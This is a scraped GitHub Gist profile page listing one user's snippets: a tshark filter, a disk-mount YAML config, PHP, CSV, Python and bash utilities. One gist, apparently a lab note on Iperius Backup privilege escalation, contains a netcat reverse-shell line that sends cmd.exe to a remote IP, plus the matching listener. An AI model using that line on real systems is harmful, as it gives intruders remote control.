Skip to content

Instantly share code, notes, and snippets.

View alivx's full-sized avatar
😇
our business is life itself

Ali alivx

😇
our business is life itself
View GitHub Profile
@alivx
alivx / network-cap.sh
Created November 11, 2021 20:45
Get network traffic data
tshark -2 -r /tmp/network.pcap -R "tcp.port==45442" -o "gui.column.format:\"Time\",\"%Yt\",\"No.\",\"%m\",\"Time\",\"%t\",\"Source\",\"%s\",\"Destination\",\"%d\",\"Protocol\",\"%p\",\"Length\",\"%L\",\"Info\",\"%i\""
@alivx
alivx / config.yaml
Created November 28, 2021 09:54
Disk mount and bind
interfaces:
- name: var
path: /var
fstype: ext4
size: 20
dev: "xvdb"
opts: defaults,nofail,comment=cloudconfig,rw,nosuid,nodev,relatime
uuid: 'UUID"
location: /system/var
@alivx
alivx / Iperius Backup 6.1.0 - Privilege Escalation.md
Last active December 13, 2021 20:03
Iperius Backup 6.1.0 - Privilege Escalation

#Source @echo off C:/Users/McSkidy/Downloads/nc.exe -nv 10.10.89.237 1992 -nv -e cmd.exe

#Des nc -nlvp 1992

change password

@echo off

@alivx
alivx / checkImage.php
Created September 23, 2022 12:15
Check installed php Image support
<?php
function check_image_support()
{
echo 'Checking Image Support: '."\n";
//IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM
if (imagetypes() & IMG_GIF)
echo "GIF: \tYes";
else
echo "GIF: \tNo";
@alivx
alivx / timezone-mappings.csv
Created December 6, 2022 21:46 — forked from alejzeis/timezone-mappings.csv
Linux-Windows Timezone Mappings CSV
AUS Central Standard Time 001 Australia/Darwin
AUS Central Standard Time AU Australia/Darwin
AUS Eastern Standard Time 001 Australia/Sydney
AUS Eastern Standard Time AU Australia/Sydney Australia/Melbourne
Afghanistan Standard Time 001 Asia/Kabul
Afghanistan Standard Time AF Asia/Kabul
Alaskan Standard Time 001 America/Anchorage
Alaskan Standard Time US America/Anchorage America/Juneau America/Metlakatla America/Nome America/Sitka America/Yakutat
Aleutian Standard Time 001 America/Adak
Aleutian Standard Time US America/Adak
@alivx
alivx / combine_word_documents.py
Created April 24, 2023 13:35
combine_word_documents.py
import os
from openpyxl import load_workbook
from docx import Document
from docxtpl import DocxTemplate
# Open files
main_path = r"C:\Users\ACER\Desktop\Laith-temp"
template_path = os.path.join(main_path, 'ActivityTemp.docx')
@alivx
alivx / getFileandContent.sh
Last active July 10, 2023 11:23
List file name and content
#!/bin/bash
# Predefined list of directories
dir_list=(
dirlist
)
# List of file types to exclude
exclude_list=(
"*.zip"
"*.log"